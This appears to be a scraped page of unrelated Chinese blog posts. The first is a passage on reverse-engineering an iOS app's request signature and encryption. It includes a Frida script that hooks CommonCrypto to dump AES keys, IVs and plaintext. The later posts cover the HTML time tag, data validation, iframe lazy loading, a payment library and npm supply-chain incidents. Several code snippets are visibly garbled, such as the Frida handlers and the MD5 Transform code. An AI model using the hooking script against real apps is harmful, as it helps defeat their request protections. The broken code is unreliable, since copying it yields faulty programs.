接下来我们针对Sign的尾部数据进行分析,单纯盲猜或者挂frida脚本已经解决不了问题了,我们用IDA看下具体的实现逻辑,当然上面的MD5分析也可以直接从IDA反编译入手,通过搜索sign关键字进行定位,只是我习惯先钩一下脚本,万一直接命中就不用费时间去分析了...


通过MD5的脚本打印,我们也能看到相关的函数调用栈,这对于我们快速定位也提供了很大的方便。我们直接搜索 [KEPPostSecuritySign kep_signWithURL: body:] 方法,可以看到明显的字符串拼接的痕迹,IDA还是比较智能的,已经识别出了MD5的salt值。
1031691552576_.pic.jpg
通过分析,定位到[NSString kep_networkStringOffsetSecurity]函数,在内部进行了字符串的处理,在循环里面进行了各种判断以及移位操作,不嫌麻烦的话可以分析一下逻辑,重写一下处理流程。
1041691552577_.pic.jpg
我这边处理比较暴力,发现kep_networkStringOffsetSecurity是NSString的Catetory,那就直接调用验证一下吧,使用frida挂载以后,找到NSString类,调用方法传入md5之后的值,然后就会发现经过该函数,神奇的sign值就给到了。
image-20230809113620190.png


x-ads分析


分析完sign以后,观察到还有一个x-ads的字段,按照惯例,先用脚本试着钩一下,经常采用的加密大致就是DES、AES或RC4这些算法。
image-20230807191005439.png
针对 AES128、DES、3DES、CAST、RC4、RC2、Blowfish等加密算法进行hook,脚本的关键代码如下:


var handlers = {
   CCCrypt: {
       onEnterfunction(args) {
           var operation = CCOperation[args[0].toInt32()];
           var alg = CCAlgorithm[args[1].toInt32()].name;
           this.options = CCoptions[args[2].toInt32()];
           var keyBytes = args[3];
           var keyLength = args[4].toInt32();
           var ivBuffer = args[5];
           var inBuffer = args[6];
           this.inLength = args[7].toInt32();
           this.outBuffer = args[8];
           var outLength = args[9].toInt32();
           this.outCountPtr = args[10];
           if (this.inLength < MIN_LENGTH || this.inLength > MAX_LENGTH){
           return;
          }
           if (operation === "kCCEncrypt") {
               this.operation = "encrypt"
               console.log("***************** encrypt begin **********************");
          } else {
               this.operation = "decrypt"
               console.log("***************** decrypt begin **********************");
          }
           console.log("CCCrypt(" +
               "operation: " + this.operation + ", " +
               "CCAlgorithm: " + alg + ", " +
               "CCOptions: " + this.options + ", " +
               "keyBytes: " + keyBytes + ", " +
               "keyLength: " + keyLength + ", " +
               "ivBuffer: " + ivBuffer + ", " +
               "inBuffer: " + inBuffer + ", " +
               "inLength: " + this.inLength + ", " +
               "outBuffer: " + this.outBuffer + ", " +
               "outLength: " + outLength + ", " +
               "outCountPtr: " + this.outCountPtr + ")"
          );

           //console.log("Key: utf-8 string:" + ptr(keyBytes).readUtf8String())
           //console.log("Key: utf-16 string:" + ptr(keyBytes).readUtf16String())
           console.log("key: ");
           dumpBytes(keyBytes, keyLength);

           console.log("IV: ");
           // ECB模式不需要iv,所以iv是null
           dumpBytes(ivBuffer, keyLength);

           var isOutput = true;
           if (!SHOW_PLAIN_AND_CIPHER && this.operation == "decrypt") {
            isOutput = false;
          }

           if (isOutput){
           // Show the buffers here if this an encryption operation
            console.log("In buffer:");
            dumpBytes(inBuffer, this.inLength);
          }
           
      },
       onLeavefunction(retVal) {
       // 长度过长和长度太短的都不要输出
           if (this.inLength < MIN_LENGTH || this.inLength > MAX_LENGTH){
           return;
          }
           var isOutput = true;
           if (!SHOW_PLAIN_AND_CIPHER && this.operation == "encrypt") {
            isOutput = false;
          }
           if (isOutput) {
            // Show the buffers here if this a decryption operation
            console.log("Out buffer:");
            dumpBytes(this.outBufferMemory.readUInt(this.outCountPtr));
          }
           // 输出调用堆栈,会识别类名函数名,非常好用
           console.log('CCCrypt called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  },
};


if (ObjC.available) {
   console.log("frida attach");
   for (var func in handlers) {
   console.log("hook " + func);
       Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", func), handlers[func]);
  }
else {
   console.log("Objective-C Runtime is not available!");
}

查看脚本的输出日志,直接命中了AES128的加密算法,并且输出的Base64数据完全匹配,只能说运气爆棚。
image-20230807191141136.png
拿到对应的key跟iv,尝试解密看下也是没问题的。x-ads分析结束,都不用反编译看代码:)
image-20230807190921956.png


Body的分析


最后看下sign值的组成部分,body数据是怎么计算的,抱着试试的想法,直接用x-ads分析得到的算法以及对应的key、iv进行解密:



{ "body": "5gJEXtLqe3tzRsP8a/bSwXDiK0VslZZZyOEj1jBDBhtYTGGdWltuIjLbzwZ2OxMcb3mFX7bJtgH3WlqGET5W34P4dTEIDhLH6FkT3HSLaDnEXYHvEl9IZRQKf19wMG/t" }



image-20230807183413168.png
这次说不上什么运气爆棚了...只能说开发者比较懒或者安全意识有点差了,使用了AES-CBC模式,iv都不改变一下的...


总结


这次分析整体来看,没什么技术含量,大部分都是脚本直接解决了,从结果来看,也是使用的常规的加密、签名算法,这也从侧面给我们安全开发提个醒,是不是可以有策略性的改变一下,比如我们拿MD5来看下都可以做哪些改变。



opensource.apple.com/source/ppp/…



首先针对MD5Init,我们可以改变它的初始化数据:


void MD5Init (mdContext)
MD5_CTX *mdContext;
{
 mdContext->i[0] = mdContext->i[1] = (UINT4)0;

 /* Load magic initialization constants.
  */

 mdContext->buf[0] = (UINT4)0x67452301;
 mdContext->buf[1] = (UINT4)0xefcdab89;
 mdContext->buf[2] = (UINT4)0x98badcfe;
 mdContext->buf[3] = (UINT4)0x10325476;
}

其次针对Transform我们也可以改变其中的某几个数据:


static void Transform (buf, in)
UINT4 *buf;
UINT4 *in;
{
 UINT4 a = buf[0]b = buf[1], c = buf[2], d = buf[3];

 /* Round 1 */
#define S11 7
#define S12 12
#define S13 17
#define S14 22
 FF ( ab, c, d, in[ 0], S11, UL(3614090360)); /* 1 */
 FF ( d, ab, c, in[ 1], S12, UL(3905402710)); /* 2 */
 FF ( c, d, ab, in[ 2], S13, UL606105819)); /* 3 */
 FF ( b, c, d, a, in[ 3], S14, UL(3250441966)); /* 4 */
 FF ( ab, c, d, in[ 4], S11, UL(4118548399)); /* 5 */
 FF ( d, ab, c, in[ 5], S12, UL(1200080426)); /* 6 */
 FF ( c, d, ab, in[ 6], S13, UL(2821735955)); /* 7 */
 FF ( b, c, d, a, in[ 7], S14, UL(4249261313)); /* 8 */
 FF ( ab, c, d, in[ 8], S11, UL(1770035416)); /* 9 */
 FF ( d, ab, c, in[ 9], S12, UL(2336552879)); /* 10 */
 FF ( c, d, ab, in[10], S13, UL(4294925233)); /* 11 */
 FF ( b, c, d, a, in[11], S14, UL(2304563134)); /* 12 */
 FF ( ab, c, d, in[12], S11, UL(1804603682)); /* 13 */
 FF ( d, ab, c, in[13], S12, UL(4254626195)); /* 14 */
 FF ( c, d, ab, in[14], S13, UL(2792965006)); /* 15 */
 FF ( b, c, d, a, in[15], S14, UL(1236535329)); /* 16 */

 /* Round 2 */
#define S21 5
#define S22 9
#define S23 14
#define S24 20
 GG ( ab, c, d, in[ 1], S21, UL(4129170786)); /* 17 */
 GG ( d, ab, c, in[ 6], S22, UL(3225465664)); /* 18 */
 
...
 

简单的变形以后,即使脚本能hook到对应的函数,但是想直接脱机调用结果还是不可以的,此时就要不得不进行反编译分析或者动态调试,此时配合代码混淆、VMP等静态防护手段,再加上反调试等安全手段,对于攻击的门槛也相应的提高。


作者:Daemon_S
来源:juejin.cn/post/7265036888431558675
收起阅读 »

你有使用过time标签吗?说说它的用途有哪些?

web
"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面: 在网页中显示日期和时间。 在搜索引擎中提供更准确的时间信息。 在机器可读的格式中表示日期和时间。 示例代码: <p>The c...
继续阅读 »

"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面:



  1. 在网页中显示日期和时间。

  2. 在搜索引擎中提供更准确的时间信息。

  3. 在机器可读的格式中表示日期和时间。


示例代码:


<p>The current time is <time>12:34</time> on <time>2022-01-01</time>.</p>

在上面的示例中,我们使用 <time> 标签来标记时间的显示部分。这样做有以下好处:



  1. 可访问性:使用 <time> 标签可以使屏幕阅读器等辅助技术更好地理解和处理时间信息,提高网页的可访问性。

  2. 样式化:可以通过 CSS 对 <time> 标签进行样式化,以便更好地呈现日期和时间。

  3. 国际化:<time> 标签允许开发者指定不同的日期和时间格式,以适应不同地区和语言的需求。

  4. 搜索引擎优化:使用 <time> 标签可以提供更准确的时间信息,有助于搜索引擎更好地理解和索引网页中的时间内容。这对于新闻、博客等需要展示时间的网页尤为重要。


需要注意的是,<time> 标签的 datetime 属性是可选的,但推荐使用。它用于提供机器可读的时间信息,这样搜索引擎和其他程序可以更准确地解析和处理时间。


示例代码:


<p>The current time is <time datetime=\"2022-01-01T12:34\">12:34</time> on <time datetime=\"2022-01-01\">January 1, 2022</time>.</p>

在上面的示例中,我们使用 datetime 属性指定了完整的机器可读的时间格式。这对于搜索引擎和其他程序来说是非常有用的。


总结:<time> 标签是用于在网页中表示日期和时间的语义化标签。它可以提高网页的可访问性,允许样式化,支持国际化,并提供机器可读的时间信息,有助于搜索引擎优化。"


作者:打野赵怀真
来源:juejin.cn/post/7304930607132508179
收起阅读 »

为什么前后端都需要进行数据校验?

一、引言 在现代的 Web 应用开发中,前后端数据校验是确保系统安全、数据完整性和用户体验的关键步骤。 通过在前后端各个环节对数据进行验证,我们可以有效地防止恶意攻击、保证数据的准确性,并提高用户满意度。 本文将从以下方面详细介绍为什么前后端都需要进行数据校验...
继续阅读 »

一、引言


在现代的 Web 应用开发中,前后端数据校验是确保系统安全、数据完整性和用户体验的关键步骤。


通过在前后端各个环节对数据进行验证,我们可以有效地防止恶意攻击、保证数据的准确性,并提高用户满意度。


本文将从以下方面详细介绍为什么前后端都需要进行数据校验,以及他们都应该做什么内容。


image.png


二、前端校验的内容


在前端开发中,以下是一些必要的校验,以确保数据的有效性和安全性♘:


graph LR
A(前端开发数据校验)

E(必填字段校验)
F(数据格式校验)
G(数字范围校验)
H(字符串长度校验)
I(数据合法性校验)
B(安全性校验)
C(表单验证)
D(用户友好的错误提示)

A ---> E
A ---> F
A ---> G
A ---> H
A ---> I
A ---> B
A ---> C
A ---> D

style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px
style H fill:#E6E6FA,stroke:#E6E6FA,stroke-width:2px
style I fill:#EEDD82,stroke:#EEDD82,stroke-width:2px

1、必填字段校验:对于必填的字段,需确保用户输入了有效的数据。可以检查字段是否为空或仅包含空格等无效字符。


2、数据格式校验:根据字段的预期格式,验证用户输入的数据是否符合要求。例如,对于邮箱字段,可以使用正则表达式验证邮箱格式的正确性。


3、数字范围校验:对于数字类型的字段,确保其值在指定的范围内。例如,年龄字段应该在特定的年龄范围内。


4、字符串长度校验:对于字符串类型的字段,验证其长度是否在允许的范围内。例如,密码字段的长度应该在一定的范围内。


5、数据合法性校验:根据业务规则验证数据的合法性。例如,检查用户名是否已被注册,或者验证产品ID是否存在于产品列表中。


6、安全性校验:防止潜在的安全漏洞,如跨站脚本攻击(XSS)和跨站请求伪造(CSRF)。通过对用户输入的数据进行转义或过滤,确保不会执行恶意脚本或受到伪造的请求。


7、表单验证:对于表单提交,对整个表单进行验证,而不仅仅是单个字段的验证。确保所有必填字段都填写正确,并且数据符合预期的格式和要求。


8、用户友好的错误提示:当用户输入无效数据时,展示清晰和有意义的错误提示信息,帮助用户理解并纠正错误。



前端开发中的必要校验,可以保证用户输入的数据的准确性、合法性和安全性。同时,这些校验也有助于提供良好的用户体验和防止不必要的错误提交到后端。



三、后端接口校验的内容


在接口开发中,以下是一些必要的校验,以确保接口的数据有效性和安全性♞:


graph LR
A(接口开发数据校验)

B(参数完整性校验)
C(参数格式校验)
D(数据合法性校验)
E(数据范围校验)
F(权限验证)
G(输入验证和安全性校验)
H(数据一致性校验)
I(返回结果校验)


A ---> B
A ---> C
A ---> D
A ---> E
A ---> F
A ---> G
A ---> H
A ---> I

style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px
style H fill:#E6E6FA,stroke:#E6E6FA,stroke-width:2px
style I fill:#EEDD82,stroke:#EEDD82,stroke-width:2px

1、参数完整性校验:确保接口所需的参数都被正确传递,并且没有缺失。对于必需的参数,如果缺失则返回错误提示。


2、参数格式校验:根据接口定义,验证参数的格式是否符合预期要求。例如,对于日期参数,验证其是否符合指定的日期格式。


3、数据合法性校验:根据业务规则验证传入的数据是否合法。例如,检查所传递的ID是否存在于数据库中,或者验证所传递的数据是否满足特定的业务逻辑要求。


4、数据范围校验:对于数值型参数,确保其值在指定的范围内。例如,验证年龄参数是否在有效的年龄范围内。


5、权限验证:对于需要特定权限才能访问的接口,进行权限验证是必要的。确保只有具有足够权限的用户或系统可以调用接口。


6、输入验证和安全性校验:防止潜在的安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。对于用户输入的数据,进行输入验证和数据过滤,避免执行恶意脚本或受到伪造请求的影响。


7、数据一致性校验:在接口涉及多个数据对象之间存在关联关系时,进行数据一致性校验是必要的。确保相关数据之间的关联关系和依赖关系得到维护和满足。


8、返回结果校验:验证接口返回的结果是否符合预期的格式和内容。确保返回的数据结构和字段与接口定义一致,并且符合预期的数据类型和值。



接口开发中的必要校验,可以保证接口传输的数据的准确性、合法性和安全性。这些校验有助于防止无效数据进入系统,确保接口的正常运行和处理有效和合法的数据。同时,它们也为调用方提供了清晰的错误信息和可靠的返回结果。



四、前端和接口双重校验的意义


在开发中,前端和后端各自对数据完整性校验都有重要的意义。前端和后端都需要对数据完整性进行校验,以确保系统中数据的准确性和一致性。


下面简述一下它们的作用和意义(包含但不仅仅是这些)。


graph LR
A(双重校验的意义)

B(前端校验的意义)
C(后端校验的意义)

D(用户体验)
E(减轻服务器压力)
F(安全性保障)
G(数据一致性)


A ---> B
A ---> C

B ---> D
B ---> E

C ---> F
C ---> G


style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px

4.1 前端对数据完整性校验的意义




  • 用户体验:前端数据完整性校验可以在用户输入数据时即时进行验证,提供即时反馈和错误提示,帮助用户更快地发现和纠正错误,提升用户体验。




  • 减轻服务器压力:前端数据完整性校验可以在数据发送到后端之前就进行校验,减轻后端服务器的负担。这可以防止无效或错误的数据被发送到服务器,减少不必要的网络流量和服务器资源消耗。




4.2 后端对数据完整性校验的意义


安全性保障:后端数据完整性校验是最终的防线,用于确保数据的完整性和一致性。即使前端校验可能被绕过或篡改,后端校验可以提供最终的保障,避免恶意操作和数据破坏。


数据一致性:后端数据完整性校验可以验证数据的正确性和一致性,确保符合业务规则和约束。这对于多个前端渠道或多个客户端同时访问后端数据的情况尤为重要,可以防止不符合规定的数据进入系统,保持数据的准确性和一致性。


五、总结


前端和后端各自的数据完整性校验是相辅相成的。前端校验可以提供即时反馈和优化用户体验,减轻后端服务器压力;后端校验是最终的安全防线,确保数据的完整性和一致性。通过前后端的数据完整性校验机制的结合,可以提供更可靠和安全的应用程序。



希望本文对您有所帮助。如果有任何错误或建议,请随时指正和提出。


同时,如果您觉得这篇文章有价值,请考虑点赞和收藏。这将激励我进一步改进和创作更多有用的内容。


感谢您的支持和理解!



作者:竹子爱揍功夫熊猫
来源:juejin.cn/post/7306045519099658240
收起阅读 »

页面加载多个Iframe,白屏时间太长,如何优化?

web
最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。 当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。 要解决这个问题,其本质就是...
继续阅读 »

最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。


当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。


要解决这个问题,其本质就是减少不必要的iframe渲染。最简单的方式:只渲染可视区域的iframe。


由此,我想了2种解决方案。


虚拟滚动


只渲染可视区域,我下意识的就想到通过「虚拟滚动」来解决。


「虚拟滚动」的本质有两点:


1)只渲染可视区域的内容


2)根据内容高度模拟滚动条


第 1 点很容易实现,第 2 点难点在计算高度上。和AI的每次对话,其答案长度都是不确定的,所以要先获得高度,必须进行计算。


虽然粗略计算对话内容高度,从而来模拟滚动,不是不可行,但结合我们实际场景,这种方案性价比不高。


首先,我们对话内容并不是一次性获得,而是通过异步加载拉取,本质上不会存在一次性渲染太多内容,而导致页面卡顿的问题。


其次,如果要模拟滚动条高度,每次拉取数据时,都要遍历这些数据,通过预渲染,获得每条对话内容的高度,最后得到粗略的滚动条高度。


在已经异步加载的场景下,再去实现虚拟滚动,改动明显比较大,所以最后没有选择这种方案。


懒加载


从图片懒加载思路,获得灵感,iframe 是不是也可以通过懒加载来实现?


答案很明显,是可以的。


iframe自带属性


iframe 默认支持设置 loading="lazy" 来实现懒加载,而且兼容性也还不错。



如果对兼容性没有极致要求,这种方案就很高效,可以很好的解决一次性渲染太多iframe导致页面白屏时间过长的问题。


手动实现懒加载


实现懒加载,需要搞清楚一个表达式:


element:表示当前需要懒加载的内容元素,可以是img、iframe等


scrollEl:滚动条元素


scrollTop:一个元素的 scrollTop 值是这个元素的内容顶部(卷起来的)到它的视口可见内容(的顶部)的距离的度量。当一个元素的内容没有产生垂直方向的滚动条,那么它的 scrollTop 值为0


offsetTop:当前元素相对于其 offsetParent 元素的顶部内边距的距离。


document.documentElement.clientHeight:文档可视区域高度。


element.offsetTop - scrollEl.scrollTop < document.documentElement.clientHeight 当这个条件成立,则说明元素已经进入可视区域,结合下图更好理解。



const scrollEl = 当前滚动元素

const lazyLoad = (elements) => { const clientH = document.documentElement.clientHeight const scrollT = scrollEl?.scrollTop || 0 for (const element of elements) { if (element.offsetTop - scrollT < clientH && !element.src) element.src = element.dataset.src ?? '' } }

// 使用节流函数,避免滚动时频繁触发
const iframeLazyLoad = throttle(() => { const iframes = document.querySelectorAll('.iframe') if (iframes) lazyLoad(iframes) }, 500)scrollEl.addEventListener('scroll', iframeLazyLoad)

图片懒加载原理同上,只需将elements换成img对应的元素即可。


由于滚动时会频繁触发计算,造成不必要的性能开销,所以需要控制事件的触发频率,此处使用 throttle 函数,这里不做赘述,使用lodash第三方库,或者自行实现,都比较简单。


写在最后


针对这种场景——一次性渲染过多数据,导致的性能问题,解决方案的原理大同小异,基本上就是减少不必要的渲染,需要时再触发渲染,或者分批异步渲染。细化到具体方案,就只能根据实际情况分析。


作者:雨霖
来源:juejin.cn/post/7305984583962279962
收起阅读 »

还在手动造轮子?试试这款可以轻松集成多种支付渠道的工具!

大家好,我是 Java陈序员。 随着电商的兴起,各种支付也是蓬勃发展。 微信支付、支付宝支付、银联支付等各种支付方式可是深入到日常生活中。可以说,扫码支付给我们的生活带来了极大的便利。 同时,随着市场需求的变化,这也要求我们在企业开发中,需要集成第三方支付渠道...
继续阅读 »

大家好,我是 Java陈序员


随着电商的兴起,各种支付也是蓬勃发展。


微信支付、支付宝支付、银联支付等各种支付方式可是深入到日常生活中。可以说,扫码支付给我们的生活带来了极大的便利。


同时,随着市场需求的变化,这也要求我们在企业开发中,需要集成第三方支付渠道!


我们在集成第三方支付渠道时,常规的操作是查阅官方文档、封装代码、测试联调等。


今天,给大家介绍一个已经封装好各种支付渠道的项目,开箱即用,我们就不用重复手动造轮子了!


项目介绍


IJPay 的宗旨是让支付触手可及。封装了微信支付、QQ 支付、支付宝支付、京东支付、银联支付、PayPal 支付等常用的支付方式以及各种常用的接口。


不依赖任何第三方 MVC 框架,仅仅作为工具使用简单快速完成支付模块的开发,开箱即用,可快速集成到系统中。


功能模块:



  • 微信支付: 支持多商户多应用,普通商户模式与服务商商模式当然也支持境外商户、同时支持 Api-v3Api-v2 版本的接口

  • 个人微信支付: 微信个人商户,最低费率 0.38%,官方直连的异步回调通知

  • 支付宝支付: 支持多商户多应用,签名同时支持普通公钥方式与公钥证书方式

  • 银联支付: 全渠道扫码支付、微信 App 支付、公众号&小程序支付、银联 JS 支付、支付宝服务窗支付

  • PayPal 支付: 自动管理 AccessToken,极速接入各种常用的支付方式


项目安装


一次性添加所有支付方式的依赖


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-All</artifactId>
<version>latest-version</version>
</dependency>

或者选择某一个/多个支付方式的依赖,如:
支付宝支付


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-AliPay</artifactId>
<version>latest-version</version>
</dependency>

微信支付


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-WxPay</artifactId>
<version>latest-version</version>
</dependency>

更多支付方式依赖参考:


https://javen205.gitee.io/ijpay/guide/maven.html#maven

集成Demo


以支付宝支付为例。


引入依赖


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-AliPay</artifactId>
<version>latest-version</version>
</dependency>

初始化客户端配置信息


AliPayApiConfig aliPayApiConfig = AliPayApiConfig.builder() 
.setAppId(aliPayBean.getAppId())
.setAppCertPath(aliPayBean.getAppCertPath())
.setAliPayCertPath(aliPayBean.getAliPayCertPath())
.setAliPayRootCertPath(aliPayBean.getAliPayRootCertPath())
.setCharset("UTF-8")
.setPrivateKey(aliPayBean.getPrivateKey())
.setAliPayPublicKey(aliPayBean.getPublicKey())
.setServiceUrl(aliPayBean.getServerUrl())
.setSignType("RSA2")
// 普通公钥方式
//.build();
// 证书模式
.buildByCert();
// 或者
.setAppId(aliPayBean.getAppId())
.setAliPayPublicKey(aliPayBean.getPublicKey())
.setCharset("UTF-8")
.setPrivateKey(aliPayBean.getPrivateKey())
.setServiceUrl(aliPayBean.getServerUrl())
.setSignType("RSA2")
.build(); // 普通公钥方式
.build(appCertPath, aliPayCertPath, aliPayRootCertPath) // 2.3.0 公钥证书方式

AliPayApiConfigKit.setThreadLocalAppId(aliPayBean.getAppId()); // 2.1.2 之后的版本,可以不用单独设置
AliPayApiConfigKit.setThreadLocalAliPayApiConfig(aliPayApiConfig);


参数说明:



  • appId: 应用编号

  • privateKey: 应用私钥

  • publicKey: 支付宝公钥,通过应用公钥上传到支付宝开放平台换取支付宝公钥(如果是证书模式,公钥与私钥在CSR目录)。

  • appCertPath: 应用公钥证书 (证书模式必须)

  • aliPayCertPath: 支付宝公钥证书 (证书模式必须)

  • aliPayRootCertPath: 支付宝根证书 (证书模式必须)

  • serverUrl: 支付宝支付网关

  • domain: 外网访问项目的域名,支付通知中会使用



多应用无缝切换:


从上面的初始化配置中,可以看到 IJPay 默认是使用当前线程中的 appId 对应的配置。


如果要切换应用可以调用 AliPayApiConfigKit.setThreadLocalAppId 来设置当前线程中的 appId, 实现应用的切换进而达到多应用的支持。


调用支付API


App 支付


public AjaxResult appPay() {
try {
AlipayTradeAppPayModel model = new AlipayTradeAppPayModel();
model.setBody("测试数据-Java陈序员");
model.setSubject("Java陈序员 App 支付测试");
model.setOutTradeNo(StringUtils.getOutTradeNo());
model.setTimeoutExpress("15m");
model.setTotalAmount("0.01");
model.setPassbackParams("callback params");
model.setProductCode("QUICK_MSECURITY_PAY");
String orderInfo = AliPayApi.appPayToResponse(model, aliPayBean.getDomain() + NOTIFY_URL).getBody();
result.success(orderInfo);
} catch (AlipayApiException e) {
e.printStackTrace();
result.addError("system error:" + e.getMessage());
}
return result;
}

PC 支付


public void pcPay(HttpServletResponse response) {
try {
String totalAmount = "0.01";
String outTradeNo = StringUtils.getOutTradeNo();
log.info("pc outTradeNo>" + outTradeNo);

String returnUrl = aliPayBean.getDomain() + RETURN_URL;
String notifyUrl = aliPayBean.getDomain() + NOTIFY_URL;
AlipayTradePagePayModel model = new AlipayTradePagePayModel();

model.setOutTradeNo(outTradeNo);
model.setProductCode("FAST_INSTANT_TRADE_PAY");
model.setTotalAmount(totalAmount);
model.setSubject("Java陈序员 PC 支付测试");
model.setBody("Java陈序员 PC 支付测试");
model.setPassbackParams("passback_params");

AliPayApi.tradePage(response, model, notifyUrl, returnUrl);
} catch (Exception e) {
e.printStackTrace();
}

}

手机网站支付


public void wapPay(HttpServletResponse response) {
String body = "测试数据-Java陈序员";
String subject = "Java陈序员 Wap支付测试";
String totalAmount = "0.01";
String passBackParams = "1";
String returnUrl = aliPayBean.getDomain() + RETURN_URL;
String notifyUrl = aliPayBean.getDomain() + NOTIFY_URL;

AlipayTradeWapPayModel model = new AlipayTradeWapPayModel();
model.setBody(body);
model.setSubject(subject);
model.setTotalAmount(totalAmount);
model.setPassbackParams(passBackParams);
String outTradeNo = StringUtils.getOutTradeNo();
System.out.println("wap outTradeNo>" + outTradeNo);
model.setOutTradeNo(outTradeNo);
model.setProductCode("QUICK_WAP_PAY");

try {
AliPayApi.wapPay(response, model, returnUrl, notifyUrl);
} catch (Exception e) {
e.printStackTrace();
}
}

扫码支付


public String tradePreCreatePay() {
String subject = "Java陈序员 支付宝扫码支付测试";
String totalAmount = "0.01";
String storeId = "123";
String notifyUrl = aliPayBean.getDomain() + "/aliPay/cert_notify_url";

AlipayTradePrecreateModel model = new AlipayTradePrecreateModel();
model.setSubject(subject);
model.setTotalAmount(totalAmount);
model.setStoreId(storeId);
model.setTimeoutExpress("15m");
model.setOutTradeNo(StringUtils.getOutTradeNo());
try {
String resultStr = AliPayApi.tradePrecreatePayToResponse(model, notifyUrl).getBody();
JSONObject jsonObject = JSONObject.parseObject(resultStr);
return jsonObject.getJSONObject("alipay_trade_precreate_response").getString("qr_code");
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

单笔转账到支付宝账户


public String transfer() {
String totalAmount = "0.01";
AlipayFundTransToaccountTransferModel model = new AlipayFundTransToaccountTransferModel();
model.setOutBizNo(StringUtils.getOutTradeNo());
model.setPayeeType("ALIPAY_LOGONID");
model.setPayeeAccount("gxthqd7606@sandbox.com");
model.setAmount(totalAmount);
model.setPayerShowName("测试退款");
model.setPayerRealName("沙箱环境");
model.setRemark("Java陈序员 测试单笔转账到支付宝");

try {
return AliPayApi.transferToResponse(model).getBody();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

其他支付方式集成可参考:


https://github.com/Javen205/IJPay/tree/dev/IJPay-Demo-SpringBoot

总结


可以说,目前 IJPay 集成了大部分主流的支付渠道。可以全部集成到项目中,也可以按需加载某一种、某几种支付渠道。


最后,贴上项目地址:


https://github.com/Javen205/IJPay

在线文档地址:


https://javen205.gitee.io/ijpay/

最后


推荐的开源项目已经收录到 GitHub 项目,欢迎 Star


https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:


https://chencoding.top:8090/#/


大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!



作者:Java陈序员
来源:juejin.cn/post/7304558952180056100
收起阅读 »

JavaScript 供应链为什么如此脆弱...

web
JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。 今天就跟大家一起来聊聊 Ja...
继续阅读 »

JavaScript 的强大之处在于其卓越的模块化能力,通过 npm 包管理机制,开发者可以轻易地引用并使用其他人或者组织已经编写好的开源代码,从而极大地加快了开发速度。但是,这种依赖关系的复杂性也给供应链的安全带来了巨大的挑战。


今天就跟大家一起来聊聊 JavaScript 供应链的一些典型负面案例,让大家认识一下这是一个多么脆弱的生态。


【突然删除】left-pad


left-pad 是一个非常简单的 NPM 包,只有 11 行代码,它通过添加额外的空格来将字符串填充到指定的长度。


module.exports = leftpad;

function leftpad (str, len, ch) {
str = String(str);

var i = -1;

if (!ch && ch !== 0) ch = ' ';

len = len - str.length;

while (++i < len) {
str = ch + str;
}

return str;
}

此事件的前因是 left-pad 的作者与另一位开发者之间的商标争议,导致 left-pad 被从 NPM 上撤下。


由于许多大型项目都依赖于这个看似无关紧要的包,其中包括 BabelReact,这导致几乎整个 JavaScript 生态都受到了影响。


你或许会吃惊,为啥这么个只有 11 行代码的包都有这么多大型项目依赖?


对,这就脆弱是 JavaScript 生态。



不得不服的是,这个包早就被作者标记了废弃,而且是 WTFPL 协议(Do What The F*** You Want To Public License), 每周依然有着数百万次的下载量 ...


或许你的项目里就有,但是你可能从不关心。


【作者泄愤】faker.js


要说突然的删除还能接受,那作者主动植入恶意代码就有点过分...



去年的某天,开源库 faker.jscolors.js 的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,造成这一混乱局面的就是 faker.jscolors.js 的作者 Marak Squires 本人。乱码的原因是 Marak Squires 故意引入了一个死循环,让数千个依赖于这两个包的程序全面失控,其中不乏有类似雅虎这样的大公司中招。


Marak 的公寓失火让他失去了所有家当,几乎身无分文,随后他在自己的项目上放出收款码请求大家捐助,但是却没有多少人肯买帐...



于是就有了后面这一幕,Marak 通过这样的方式让 "白嫖" 的开源用户付出代价...


所以,如果你也经常 "白嫖" ,那就要小心点了...


【包名抢注】crossenv


